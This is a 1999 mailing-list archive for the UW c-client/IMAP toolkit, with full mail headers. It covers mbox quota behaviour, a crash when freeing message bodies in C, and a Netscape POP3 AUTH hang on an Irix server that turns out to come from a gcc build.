mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA00100 for ; Tue, 21 Sep 1999 10:23:36 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jtis@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA28910 for ; Tue, 21 Sep 1999 10:23:36 -0700 Message-Id: Date: Tue, 21 Sep 1999 10:23:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Federico Giannici Cc: c-client Subject: Re: UW_IMAP and quotas In-Reply-To: <37E7BC14.26DFFC3B@neomedia.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Sep 1999, Federico Giannici wrote: > Is uw_imap supposed to correctly handle mailboxes (mbox format) with > quotas (standard unix filesystem quota)? It all depends upon what you mean by "correctly handle." If the software attempts to change the mailbox, and that change causes a disk quota exception, the change is undone and the mailbox is restored to its previous state. From pinedev@shivax2.cac.washington.edu Tue Sep 21 14:00:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 1999 14:00:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA19002 for ; Tue, 21 Sep 1999 14:00:06 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA02561; Tue, 21 Sep 1999 14:00:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id NAA14667; Tue, 21 Sep 1999 13:56:56 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA19510 for ; Tue, 21 Sep 1999 13:11:08 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA04656 for ; Tue, 21 Sep 1999 13:11:08 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA21339 for ; Tue, 21 Sep 1999 13:11:06 -0700 Received: from unity-ex.icomverse.com (unity-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id WAA05919; Tue, 21 Sep 1999 22:10:59 +0200 Received: by UNITY-EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Tue, 21 Sep 1999 15:43:49 +0300 Message-Id: <71230E2CB02FD31181710004AC1509D70EAE16@UNITY-EX.QUANTUM.icomverse.com> Date: Tue, 21 Sep 1999 15:43:41 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: "'Koos Starfield'" , c-client@CAC.Washington.EDU Subject: RE: Freeing Body parts MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just off the top of my head. Do you fs_get() any strings? If so, check that you malloc() enough space to accomodate the terminating NULL (or, rather, terminating NIL). That is, for a string "foo" do: foo_str = fs_get(4); -- Dmitry Rubinstein > -----Original Message----- > From: Koos Starfield [mailto:koos@hotmail.com] > Sent: Tuesday, September 21, 1999 11:55 AM > To: c-client@cac.washington.edu > Subject: Freeing Body parts > > > The problem i have is that freeing with mail_free_body always > generates an > error (gpf or seg fault,..whatever). > > I've included an excerpt of the code i use to send one > attachment in a > multipart message, i have an Envelope env and two bodies called : > 1.head -> this is of multipart mime type body > 2.body -> this is the attachment body > I use param_attachment to fill the body->parameter. > after i send with smtp_mail i want to free the envelope env, > this works > fine. Then i think i want to free the body part called head, > but this goes > wrong. But if try it with body it also goes wrong. > does anybody know a solution , or can anyone point out what > is going wrong? > code is: > > > BODY *head = mail_newbody (); > BODY *body = mail_newbody (); > PARAMETER *param_attachment = mail_newbody_parameter(); > > rfc822_parse_adrlist (&env->reply_to,from, ""); > rfc822_parse_adrlist (&env->return_path,from, ""); > > // Base64 encoding > > body->encoding = ENCBINARY; > body->type = TYPEAPPLICATION ; > > head->description = STR_MEM_ASSIGN("mail"); > > param_attachment->attribute = STR_MEM_ASSIGN("filename"); > param_attachment->value = STR_MEM_ASSIGN(filenaam); > param_attachment->next = NULL; > > body->parameter = param_attachment; > > body->disposition.type = STR_MEM_ASSIGN("attachment"); > body->disposition.parameter = param_attachment; > > body->subtype = STR_MEM_ASSIGN(filenaam); > body->contents.text.data = (void *) text; //text is a void pointer > body->contents.text.size = size; > body->size.bytes = (int) (size / 8); > > head->type = TYPEMULTIPART; > head->nested.part = mail_newbody_part(); > head->nested.part->body = *body; > > smtp_mail (smtp_stream,"MAIL",env, head) > > mail_free_envelope (&(env)); > mail_free_body (&(head)); From pinedev@shivax2.cac.washington.edu Wed Sep 22 00:52:06 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Sep 1999 00:52:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA28640 for ; Wed, 22 Sep 1999 00:52:04 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA15817; Wed, 22 Sep 1999 00:52:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id AAA09024; Wed, 22 Sep 1999 00:50:44 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA20192 for ; Wed, 22 Sep 1999 00:49:31 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA19574 for ; Wed, 22 Sep 1999 00:49:31 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA03514 for ; Wed, 22 Sep 1999 00:49:30 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id JAA07378 for ; Wed, 22 Sep 1999 09:49:28 +0200 (CEST) Message-Id: <37E88A08.5424EF89@neomedia.it> Date: Wed, 22 Sep 1999 09:49:28 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: c-client Subject: Re: UW_IMAP and quotas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Tue, 21 Sep 1999, Federico Giannici wrote: > > Is uw_imap supposed to correctly handle mailboxes (mbox format) with > > quotas (standard unix filesystem quota)? > > It all depends upon what you mean by "correctly handle." > > If the software attempts to change the mailbox, and that change causes a > disk quota exception, the change is undone and the mailbox is restored to > its previous state. The situation is the following: a mailbox has a 10MB quota and it contains 50 little messages and a message of 9.5MB. Now, if I try to cancel the big message, the operation is undone. As I already said, if imapd need to create a temporary file it can do it into the /tmp directory as there is no quota into that directory. Thanks. From pinedev@shivax2.cac.washington.edu Wed Sep 22 01:10:14 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Sep 1999 01:10:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA28868 for ; Wed, 22 Sep 1999 01:10:10 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA16078; Wed, 22 Sep 1999 01:10:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id BAA07537; Wed, 22 Sep 1999 01:09:18 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA67260 for ; Wed, 22 Sep 1999 01:08:47 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA10044 for ; Wed, 22 Sep 1999 01:08:46 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA16054; Wed, 22 Sep 1999 01:08:43 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id KAA00675; Wed, 22 Sep 1999 10:08:42 +0200 (CEST) Message-Id: <37E88E8A.1EC17C6C@neomedia.it> Date: Wed, 22 Sep 1999 10:08:42 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: Mark Crispin Cc: c-client Subject: Re: UW_IMAP and quotas References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > Is there a quota on /var/tmp? > > If so, that's your problem. Most implementations of tmpfile() use /var/tmp. No. Quotas are only in the /var/mail partition (the mailboxes directory). And all other partitions have a lot of free space. Thanks. From pinedev@shivax2.cac.washington.edu Tue Sep 28 18:30:43 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Sep 1999 18:30:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA07109 for ; Tue, 28 Sep 1999 18:30:42 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA08977; Tue, 28 Sep 1999 18:30:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id SAA00701; Tue, 28 Sep 1999 18:28:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA53100 for ; Tue, 28 Sep 1999 18:26:17 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA18352 for ; Tue, 28 Sep 1999 18:26:16 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA08929 for ; Tue, 28 Sep 1999 18:26:15 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (980427.SGI.8.8.8/8.8.8) id VAA47927; Tue, 28 Sep 1999 21:20:35 -0400 (EDT) Message-Id: <199909290120.VAA47927@gatecoms.gatecom.com> Date: Wed, 29 Sep 1999 01:20:35 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: c-client@CAC.Washington.EDU Subject: Netscape 4.61 Messager Problems Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.46 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I just upgraded my POP3/IMAP servers on my Irix boxes and suddenly Netscape communicator users are unable to retrieve mail via POP3. Sniffing port 110, I see that Netscape's messenger mail system greets the POP server with AUTH, not exactly what the POP server is looking to see. Regardless of what the server type is set to, Netscape's messager mail program blatantly refuses to talk POP. Investigating why it worked on my old server, I noticed that the 3.3 POP server did accept AUTH, and some rudimentary IMAP commands. My options are limited; I could wait for Netscape to repair the problem (cha, right!) or I could install the 3.3 POP client. Unfortunately, some of the software I run uses the latest c-client library, and I'm thinking that the index file for the mailbox is going to be a persistent reminder of the Netscape "whoops". Any suggestions? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 28 19:29:46 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Sep 1999 19:29:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA07990 for ; Tue, 28 Sep 1999 19:29:45 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA28384; Tue, 28 Sep 1999 19:29:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id TAA02729; Tue, 28 Sep 1999 19:28:08 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA39110 for ; Tue, 28 Sep 1999 19:27:21 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA03277 for ; Tue, 28 Sep 1999 19:27:21 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA10016 for ; Tue, 28 Sep 1999 19:27:20 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (980427.SGI.8.8.8/8.8.8) id WAA51772; Tue, 28 Sep 1999 22:21:41 -0400 (EDT) Message-Id: <199909290221.WAA51772@gatecoms.gatecom.com> Date: Wed, 29 Sep 1999 02:21:40 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: c-client@CAC.Washington.EDU Subject: RE: Netscape 4.61 Messager Problems Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.46 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > I just upgraded my POP3/IMAP servers on my Irix boxes and suddenly Netscape > communicator users are unable to retrieve mail via POP3. > It appears that Netscape wants to talk APOP, not POP. Yippie. From pinedev@shivax2.cac.washington.edu Tue Sep 28 20:08:34 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Sep 1999 20:08:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA08008 for ; Tue, 28 Sep 1999 20:08:33 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA10779; Tue, 28 Sep 1999 20:08:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id UAA02254; Tue, 28 Sep 1999 20:06:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA39040 for ; Tue, 28 Sep 1999 20:06:02 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA27166 for ; Tue, 28 Sep 1999 20:06:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (clane@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA10734 for ; Tue, 28 Sep 1999 20:06:01 -0700 Message-Id: Date: Tue, 28 Sep 1999 19:56:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jeff Breitner Cc: c-client@CAC.Washington.EDU Subject: re: Netscape 4.61 Messager Problems In-Reply-To: <199909290120.VAA47927@gatecoms.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ipop3d certainly does support the AUTH command. On systems which have an /etc/cram-md5.pwd file set up, APOP is also permitted: +OK POP3 v7.62 server ready <205c.37f18006@Ikkoku-Kan.Panda.COM> AUTH +OK Supported authentication mechanisms: CRAM-MD5 LOGIN . On systems which don't have an /etc/cram-md5.pwd file set up: +OK POP3 Ikkoku-Kan.Panda.COM v7.62 server ready auth +OK Supported authentication mechanisms: LOGIN . and APOP is not permitted. Read imap-4.[xxx]/docs/md5.txt for information about the /etc/cram-md5.pwd file and warnings about whether or not you really want to use it. There is also the traditional USER/PASS form of authentication. I haven't a clue as to why you think that the 3.3 POP server would "accept some rudimentary IMAP commands". POP and IMAP are completely different protocols. ipop3d version 3.3, which was part of the imap-3.x series toolkit, did not accept either AUTH or APOP. I think that you need to provide me with more information, such as an exact telemetry of what is going on. Your report isn't making very much sense to me, which suggests that you're misinterpreting the data somehow. If you have a packet trace, try to put that into a telemtry of what the server says and what the client says, and then send that to me to interpret. Thanks. Lots of people are using Netscape with ipop3d successfully, so whatever is wrong is probably something localized to your site. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Sep 29 02:48:56 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 1999 02:48:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA12879 for ; Wed, 29 Sep 1999 02:48:46 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA03065; Wed, 29 Sep 1999 02:48:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id CAA28326; Wed, 29 Sep 1999 02:47:01 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA68780 for ; Wed, 29 Sep 1999 02:46:24 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA08147 for ; Wed, 29 Sep 1999 02:46:24 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA03021; Wed, 29 Sep 1999 02:46:22 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (980427.SGI.8.8.8/8.8.8) id FAA67199; Wed, 29 Sep 1999 05:40:42 -0400 (EDT) Message-Id: <199909290940.FAA67199@gatecoms.gatecom.com> Date: Wed, 29 Sep 1999 09:40:42 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: MRC@CAC.Washington.EDU Cc: c-client@CAC.Washington.EDU Subject: re: Netscape 4.61 Messager Problems Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.46 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > ipop3d certainly does support the AUTH command. On systems which have an > /etc/cram-md5.pwd file set up, APOP is also permitted: > OK POP3 v7.62 server ready <205c.37f18006@Ikkoku-Kan.Panda.COM> > AUTH > OK Supported authentication mechanisms: > CRAM-MD5 > LOGIN > . > Interesting... > On systems which don't have an /etc/cram-md5.pwd file set up: > OK POP3 Ikkoku-Kan.Panda.COM v7.62 server ready > auth > OK Supported authentication mechanisms: > LOGIN > . > and APOP is not permitted. > This sheds new light on what's happening, because I'm not even getting a response to the auth command. > Read imap-4.[xxx]/docs/md5.txt for information about the /etc/cram-md5.pwd > file and warnings about whether or not you really want to use it. > > There is also the traditional USER/PASS form of authentication. > The traditional user/pass is working. > > I haven't a clue as to why you think that the 3.3 POP server would "accept > some rudimentary IMAP commands". POP and IMAP are completely different > protocols. > That is what was confusing to me. The previous server POP3 server responded to a connection with: OK oldsrv POP3 3.3(18) w/IMAP2 client (Comments to MRC@CAC.Washington.EDU) at Wed, 29 Sep 1999 05:45:56 -0400 (EDT) > > Lots of people are using Netscape with ipop3d successfully, so whatever is > wrong is probably something localized to your site. That's definetly the case. I have found several systems that are responding with what is expected. Now...to find out what has gone wrong on my end. From pinedev@shivax2.cac.washington.edu Wed Sep 29 04:23:47 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 1999 04:23:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA21382 for ; Wed, 29 Sep 1999 04:23:45 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA19743; Wed, 29 Sep 1999 04:23:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id EAA29470; Wed, 29 Sep 1999 04:22:31 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA103716 for ; Wed, 29 Sep 1999 04:21:29 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA30322 for ; Wed, 29 Sep 1999 04:21:29 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA19715; Wed, 29 Sep 1999 04:21:27 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (980427.SGI.8.8.8/8.8.8) id HAA71459; Wed, 29 Sep 1999 07:15:48 -0400 (EDT) Message-Id: <199909291115.HAA71459@gatecoms.gatecom.com> Date: Wed, 29 Sep 1999 11:15:48 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: MRC@CAC.Washington.EDU Cc: c-client@CAC.Washington.EDU Subject: re: Netscape 4.61 Messager Problems Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.46 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN After reviewing what I'm "supposed" to be seeing during the exchange of information between the Netscape client and the server, it was obvious that the server was hanging on the AUTH command. As long as that command was not passed to the server, everything worked as expected. The IMAP server worked as expected and without fail. I compiled a fresh copy of the server from the imap-4.5.beta distribution, which is the distribution used to create the POP server that I'm having difficulty using. Everything worked as expected from a stock install. Then I made the modifications to point to the inbox folders within the user's home directory. On both my BSD and Linux boxes, everything worked fine. I compiled again on the Irix machine and the AUTH command hangs the POP server. Further investigations revealed that this Irix 6.5 box does not have the native MipsPro compiler, but is using gcc installed from SGI freeware. Compiling from another machine with a native compiler solved the problem. As a side note, this is not the first mysterious problem I've had with the freeware compiler. Programs seem to compile fine, but they fail for strange reasons. Thanks again for your help. From pinedev@shivax2.cac.washington.edu Wed Sep 29 12:25:25 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 1999 12:25:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA31815 for ; Wed, 29 Sep 1999 12:25:23 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA32705; Wed, 29 Sep 1999 12:25:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id MAA03659; Wed, 29 Sep 1999 12:22:48 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA11088 for ; Wed, 29 Sep 1999 12:21:50 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA13322 for ; Wed, 29 Sep 1999 12:21:49 -0700 Received: from speedy.swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA17259 for ; Wed, 29 Sep 1999 12:21:46 -0700 Received: (from chaos@localhost) by speedy.swi.com.br (8.9.3/8.9.3) id QAA09203 for c-client@cac.washington.edu; Wed, 29 Sep 1999 16:22:43 -0300 Message-Id: <199909291922.QAA09203@speedy.swi.com.br> Date: Wed, 29 Sep 1999 16:22:43 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: Trying to delete a message from a MBOX folder X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 29 12:44:07 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 1999 12:44:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA32042 for ; Wed, 29 Sep 1999 12:44:06 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA00451; Wed, 29 Sep 1999 12:44:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id MAA04622; Wed, 29 Sep 1999 12:42:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA74600 for ; Wed, 29 Sep 1999 12:41:47 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id 